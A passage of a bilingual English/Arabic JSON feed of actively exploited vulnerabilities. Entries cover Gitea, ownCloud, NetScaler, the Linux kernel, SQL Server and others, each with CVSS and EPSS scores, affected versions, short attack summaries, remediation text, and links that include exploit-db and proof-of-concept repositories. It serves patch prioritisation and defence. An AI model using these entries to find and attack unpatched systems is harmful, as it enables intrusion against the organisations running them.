guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات البائع، مع ضمان الامتثال لإرشادات توجيهات الأمان للبناء على أساس المخاطر BOD 26-04 الصادرة عن وكالة CISA المتوفرة في الملاحظات، ومتطلبات فرز الأدلة الجنائية لـ CISA المتوفرة في الملاحظات. اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج في حال تعذر تطبيق إجراءات التخفيف. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات BOD 26-04.","machineTranslated":true,"productSlug":"papercut-ng-mf"},{"id":"CVE-2026-66384","cvss":5.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N","cwe":"CWE-22","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-08-27T00:00:00Z","product":"JFrog Artifactory","affected":[["0 – <7.146.35","7.146.35"],["7.161.0 – <7.161.16","7.161.16"]],"title":{"en":"JFrog Artifactory Improper Limitation of a Pathname to a Restricted Directory Vulnerability","ar":"ثغرة تقييد المسار غير السليم لدليل مقيد في JFrog Artifactory"},"summary":{"en":"JFrog Artifactory contains an improper limitation of a pathname to a restricted directory vulnerability. This can allow an authenticated user to write data outside the intended Docker cache path under specific remote-repository conditions.","ar":"يحتوي JFrog Artifactory على ثغرة تقييد مسار غير سليم لدليل مقيد. يمكن أن تسمح هذه الثغرة لمستخدم يملك حسابًا مصادقًا عليه بكتابة بيانات خارج مسار ذاكرة التخزين المؤقت المخصصة لـ Docker في ظل ظروف مستودع بعيد محددة."},"refs":[["https://docs.jfrog.com/releases/docs/jfrog-security-advisories","advisory"],["https://docs.jfrog.com/releases/docs/artifactory-self-managed-releases","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-66384","advisory"],["https://cdn.openai.com/pdf/67869394-cb91-4c12-888c-5cbd85c7814c/OpenAI-Hugging-Face%20Incident-Technical-Report.pdf","advisory"],["https://openai.com/index/hugging-face-incident-and-the-road-ahead/","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-66384","ref"]],"epss":0.0067,"kevAdded":"2026-08-27T00:00:00Z","kevDue":"2026-09-10T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم CISA BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع إرشادات BOD 26-04 المعمول بها للخدمات السحابية أو أوقف استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"jfrog-artifactory"},{"id":"CVE-2026-53362","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-122","tags":["LPE"],"zero":false,"exploited":true,"status":"unknown","published":"2026-08-27T00:00:00Z","product":"Linux Kernel","affected":[["6.0",null]],"title":{"en":"Linux Kernel Unspecified Vulnerability","ar":"ثغرة غير محددة في نواة لينكس (Linux Kernel)"},"summary":{"en":"Linux Kernel contains an unspecified vulnerability that can allow for privilege escalation via IPv6 networking subsystem. This vulnerability can impact multiple products, including but not limited to Suse, Red Hat, and other products using Linux.","ar":"تحتوي نواة لينكس (Linux Kernel) على ثغرة غير محددة يمكن أن تسمح بتصعيد الصلاحيات عبر نظام شبكات IPv6 الفرعي. يمكن أن تؤثر هذه الثغرة على منتجات متعددة، بما في ذلك على سبيل المثال لا الحصر Suse وRed Hat والمنتجات الأخرى التي تستخدم لينكس."},"refs":[["https://git.kernel.org/stable/c/14200d435af9a9eeb444f529fc2f689a236b7962","advisory"],["https://git.kernel.org/stable/c/65fb14cbebb0cd0eff903a22d33537ddc8b95769","advisory"],["https://git.kernel.org/stable/c/46f201f8b4c39633a1fa3dc12459f506d470993d","advisory"],["https://git.kernel.org/stable/c/6374fb9edf72c67a118a2c214a0dddd04c921e0a","advisory"],["https://git.kernel.org/stable/c/e9eacf19281ea2498b36291b56c9606118c2d74e","advisory"],["https://git.kernel.org/stable/c/736b380e28d0480c7bc3e022f1950f31fe53a7c5","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-53362","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-53362","ref"],["https://cert-portal.siemens.com/productcert/html/ssa-784472.html","ref"]],"epss":0.0071,"kevAdded":"2026-08-27T00:00:00Z","kevDue":"2026-08-30T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA في توجيه BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر عنوان URL في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو أوقف استخدام المنتج إذا لم تتوفر إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"linux-kernel"},{"id":"CVE-2023-49105","cvss":9.8,"vector":null,"cwe":"CWE-287","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-08-27T00:00:00Z","product":"ownCloud ownCloud","affected":[],"title":{"en":"ownCloud Improper Authentication Vulnerability","ar":"ثغرة مصادقة غير سليمة في منتج ownCloud"},"summary":{"en":"ownCloud contains an improper authentication vulnerability that allows an attacker to access, modify, or delete any file without authentication if the username of a victim is known, and the victim has no signing-key configured.","ar":"يحتوي منتج ownCloud على ثغرة مصادقة غير سليمة تسمح للمهاجم بالوصول إلى أي ملف أو تعديله أو حذفه دون مصادقة إذا كان اسم مستخدم الضحية معروفًا ولم تكن لدى الضحية مفتاح توقيع مُكوّن."},"refs":[["https://owncloud.org/security","advisory"],["https://owncloud.com/security-advisories/webdav-api-authentication-bypass-using-pre-signed-urls/","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2023-49105","advisory"],["https://hunt.io/blog/chinese-speaking-operator-philippine-nuclear-naval-contractor","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-49105","ref"]],"epss":0.4319,"kevAdded":"2026-08-27T00:00:00Z","kevDue":"2026-08-30T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA في توجيه BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر عنوان URL في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو أوقف استخدام المنتج إذا لم تتوفر إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"owncloud"},{"id":"CVE-2026-60004","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-08-26T19:45:00Z","product":"Gitea Gitea","affected":[["1.17 – <1.27.1","1.27.1"]],"title":{"en":"Gitea Code Injection Vulnerability","ar":"ثغرة حقن شيفرات في Gitea"},"summary":{"en":"Gitea contains a code injection vulnerability that allows an attacker with repository write access to send a malicious patch to the diffpatch API endpoint to plant an executable Git hook and run shell commands as the Gitea service account.","ar":"يحتوي Gitea على ثغرة حقن شيفرات تسمح لمهاجم يملك صلاحية الكتابة في مستودع بإرسال تصحيح خبيث إلى نقطة نهاية واجهة برمجة التطبيقات diffpatch لزرع خطاف Git قابل للتنفيذ وتشغيل أوامر شل كحساب خدمة Gitea."},"refs":[["https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-60004","advisory"],["https://blog.gitea.com/release-of-1.27.1/","ref"],["https://www.runzero.com/blog/gitea/","ref"],["https://github.com/0xBlackash/CVE-2026-60004","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-60004","ref"]],"epss":0.2399,"kevAdded":"2026-08-25T00:00:00Z","kevDue":"2026-08-28T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات البائع، مع ضمان الامتثال لإرشادات توجيهات الأمان للبناء على أساس المخاطر BOD 26-04 الصادرة عن وكالة CISA المتوفرة في الملاحظات، ومتطلبات فرز الأدلة الجنائية لـ CISA المتوفرة في الملاحظات. اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج في حال تعذر تطبيق إجراءات التخفيف. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات BOD 26-04.","machineTranslated":true,"productSlug":"gitea"},{"id":"CVE-2026-8452","cvss":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:H/SC:L/SI:L/SA:L","cwe":"CWE-119","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-08-26T00:00:00Z","product":"Citrix NetScaler ADC and NetScaler Gateway","affected":[["14.1 – <72.61","72.61"],["13.1 – <63.18","63.18"],[" – <72.61","72.61"],[" – <37.272","37.272"]],"title":{"en":"Citrix NetScaler ADC and NetScaler Gateway Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability","ar":"ثغرة تقييد العمليات غير السليمة ضمن حدود مخزن مؤقت للذاكرة في منتجي Citrix NetScaler ADC وNetScaler Gateway"},"summary":{"en":"Citrix NetScaler ADC and NetScaler Gateway contain an improper restriction of operations within the bounds of a memory buffer vulnerability which could lead to denial of service.","ar":"يحتوي منتجا Citrix NetScaler ADC وNetScaler Gateway على ثغرة تقييد العمليات غير السليمة ضمن حدود مخزن مؤقت للذاكرة والتي قد تؤدي إلى حجب الخدمة."},"refs":[["https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696604","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-8452","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-8452","ref"]],"epss":0.0101,"kevAdded":"2026-08-26T00:00:00Z","kevDue":"2026-08-29T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA في توجيه BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر عنوان URL في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو أوقف استخدام المنتج إذا لم تتوفر إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"citrix-netscaler"},{"id":"CVE-2022-0995","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-08-26T00:00:00Z","product":"Linux Kernel","affected":[],"title":{"en":"Linux Kernel Out-of-Bounds Write Vulnerability","ar":"ثغرة كتابة خارج حدود الذاكرة (Out-of-Bounds Write) في نواة لينكس (Linux Kernel)"},"summary":{"en":"Linux Kernel contains an out-of-bounds memory write vulnerability which could allow a local user to gain privileged access or cause a denial of service on the system.","ar":"تحتوي نواة لينكس (Linux Kernel) على ثغرة كتابة خارج حدود الذاكرة والتي قد تسمح لمستخدم محلي بالحصول على صلاحيات مميزة أو التسبب في حجب الخدمة على النظام."},"refs":[["https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=93ce93587d36493f2f86921fa79921b3cba63fbb","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2022-0995","advisory"],["https://bugzilla.redhat.com/show_bug.cgi?id=2063786","ref"],["https://security.netapp.com/advisory/ntap-20220429-0001/","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-0995","ref"]],"epss":0.0886,"kevAdded":"2026-08-26T00:00:00Z","kevDue":"2026-08-29T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA في توجيه BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر عنوان URL في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو أوقف استخدام المنتج إذا لم تتوفر إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"linux-kernel"},{"id":"CVE-2021-23758","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-502","tags":["RCE"],"zero":false,"exploited":true,"status":"unknown","published":"2026-08-26T00:00:00Z","product":"Ajax.NET Professional Ajax.NET Professional","affected":[],"title":{"en":"Ajax.NET Professional Deserialization of Untrusted Data Vulnerability","ar":"ثغرة إلغاء تسلسل البيانات غير الموثوقة في منتج Ajax.NET Professional"},"summary":{"en":"Ajax.NET Professional (AjaxPro) contains a deserialization of untrusted data vulnerability that could allow for remote code execution via arbitrary .NET classes. The impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version.","ar":"يحتوي منتج Ajax.NET Professional (AjaxPro) على ثغرة إلغاء تسلسل البيانات غير الموثوقة والتي قد تسمح بتنفيذ أوامر عن بُعد عبر فئات .NET عشوائية. قد تكون المنتجات المتأثرة في نهاية عمرها الافتراضي (EoL) و/أو نهاية خدمتها (EoS). يُنصح المستخدمون بالتوقف عن الاستخدام و/أو الانتقال إلى إصدار مدعوم."},"refs":[["https://github.com/michaelschwarz/Ajax.NET-Professional/commit/b0e63be5f0bb20dfce507cb8a1a9568f6e73de57","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2021-23758","advisory"],["https://blog.talosintelligence.com/uat-10147-chinese-speaking-adversary-integrates-agentic-ai-into-post-compromise-operations/","advisory"],["https://snyk.io/vuln/SNYK-DOTNET-AJAXPRO2-1925971","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-23758","ref"]],"epss":0.8258,"kevAdded":"2026-08-26T00:00:00Z","kevDue":"2026-09-09T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA في توجيه BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر عنوان URL في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو أوقف استخدام المنتج إذا لم تتوفر إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"ajax-net-professional"},{"id":"CVE-2019-1068","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-20","tags":["RCE"],"zero":false,"exploited":true,"status":"unknown","published":"2026-08-26T00:00:00Z","product":"Microsoft SQL Server","affected":[],"title":{"en":"Microsoft SQL Server Remote Code Execution Vulnerability","ar":"ثغرة تنفيذ أوامر عن بُعد في Microsoft SQL Server"},"summary":{"en":"Microsoft SQL Server contains a remote code execution vulnerability that could allow an attacker to execute code in the context of the SQL Server Database Engine service account.","ar":"يحتوي Microsoft SQL Server على ثغرة تنفيذ أوامر عن بُعد قد تسمح للمهاجم بتنفيذ شيفرة في سياق حساب خدمة محرك قواعد بيانات SQL Server."},"refs":[["https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1068","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2019-1068","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-1068","ref"]],"epss":0.5727,"kevAdded":"2026-08-26T00:00:00Z","kevDue":"2026-08-29T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA المتمثلة في BOD 26-04 بشأن تحديد أولويات تحديثات الأمان استنادًا إلى المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (راجع الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو أوقف استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"microsoft-sql-server"},{"id":"CVE-2015-5287","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-59","tags":["LPE"],"zero":false,"exploited":true,"status":"unknown","published":"2026-08-26T00:00:00Z","product":"Red Hat Automatic Bug Reporting Tool","affected":[],"title":{"en":"Red Hat Automatic Bug Reporting Tool Privilege Escalation Vulnerability","ar":"ثغرة تصعيد الصلاحيات في أداة الإبلاغ التلقائي عن الأخطاء من Red Hat"},"summary":{"en":"Red Hat Automatic Bug Reporting Tool (ABRT) contains a privilege escalation vulnerability that could allow local users with certain permissions to gain privileges via a symlink attack on a file with a predictable name. The impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version.","ar":"تحتوي أداة الإبلاغ التلقائي عن الأخطاء (ABRT) من Red Hat على ثغرة تصعيد الصلاحيات التي قد تسمح للمستخدمين المحليين الذين يمتلكون صلاحيات معينة بالحصول على الصلاحيات عبر هجوم رابط رمزي على ملف ذي اسم متوقع. قد يكون المنتج أو المنتجات المتأثرة قد وصلت إلى نهاية عمرها الافتراضي (EoL) و/أو نهاية خدمتها (EoS). يُنصح المستخدمون بوقف الاستخدام و/أو الانتقال إلى إصدار مدعوم."},"refs":[["https://github.com/abrt/abrt/commit/3c1b60cfa62d39e5fff5a53a5bc53dae189e740e","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2015-5287","advisory"],["https://blog.talosintelligence.com/uat-10147-chinese-speaking-adversary-integrates-agentic-ai-into-post-compromise-operations/","advisory"],["https://www.exploit-db.com/exploits/38832/","ref"],["https://bugzilla.redhat.com/show_bug.cgi?id=1266837","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2015-5287","ref"]],"epss":0.05,"kevAdded":"2026-08-26T00:00:00Z","kevDue":"2026-09-09T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA المتمثلة في BOD 26-04 بشأن تحديد أولويات تحديثات الأمان استنادًا إلى المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (راجع الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو أوقف استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"red-hat-automatic-bug-reporting-tool"},{"id":"CVE-2015-3246","cvss":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-367","tags":["LPE"],"zero":false,"exploited":true,"status":"unknown","published":"2026-08-26T00:00:00Z","product":"Red Hat Libuser","affected":[],"title":{"en":"Red Hat Libuser Race Condition Vulnerability","ar":"ثغرة حالة التنافس في Red Hat Libuser"},"summary":{"en":"Red Hat libuser contains a race condition vulnerability that allows authenticated local users to corrupt the /etc/passwd file to cause a denial of service or privilege escalation.","ar":"تحتوي مكتبة Red Hat libuser على ثغرة حالة التنافس التي تسمح للمستخدمين المحليين المصادق عليهم بإفساد ملف /etc/passwd لتسبب حجب الخدمة أو تصعيد الصلاحيات."},"refs":[["https://access.redhat.com/articles/1537873","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2015-3246","advisory"],["https://blog.talosintelligence.com/uat-10147-chinese-speaking-adversary-integrates-agentic-ai-into-post-compromise-operations/","advisory"],["https://www.exploit-db.com/exploits/44633/","ref"],["https://www.qualys.com/2015/07/23/cve-2015-3245-cve-2015-3246/cve-2015-3245-cve-2015-3246.txt","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2015-3246","ref"]],"epss":0.085,"kevAdded":"2026-08-26T00:00:00Z","kevDue":"2026-09-09T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA المتمثلة في BOD 26-04 بشأن تحديد أولويات تحديثات الأمان استنادًا إلى المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (راجع الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو أوقف استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"red-hat-libuser"},{"id":"CVE-2026-21962","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","cwe":"CWE-284","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-08-24T00:00:00Z","product":"Oracle HTTP Server and Oracle Weblogic Server Proxy Plug-in","affected":[["12.2.1.4.0",null],["14.1.1.0.0",null],["14.1.2.0.0",null]],"title":{"en":"Oracle HTTP Server and Oracle Weblogic Server Proxy Plug-in Improper Access Control Vulnerability","ar":"ثغرة التحكم غير السليم في الوصول في Oracle HTTP Server وOracle Weblogic Server Proxy Plug-in"},"summary":{"en":"Oracle HTTP Server and Oracle Weblogic Server Proxy Plug-in contain an improper access control vulnerability that can result in unauthorized creation, deletion or modification access to critical data as well as unauthorized access to critical data or complete access to all Oracle HTTP Server and Oracle Weblogic Server Proxy Plug-in accessible data.","ar":"يحتوي كل من Oracle HTTP Server وOracle Weblogic Server Proxy Plug-in على ثغرة تحكم غير سليم في الوصول والتي يمكن أن تؤدي إلى إنشاء أو حذف أو تعديل بيانات حرجة بشكل غير مصرح به، بالإضافة إلى الوصول غير المصرح به إلى البيانات الحرجة أو الوصول الكامل إلى جميع البيانات القابلة للوصول عبر Oracle HTTP Server وOracle Weblogic Server Proxy 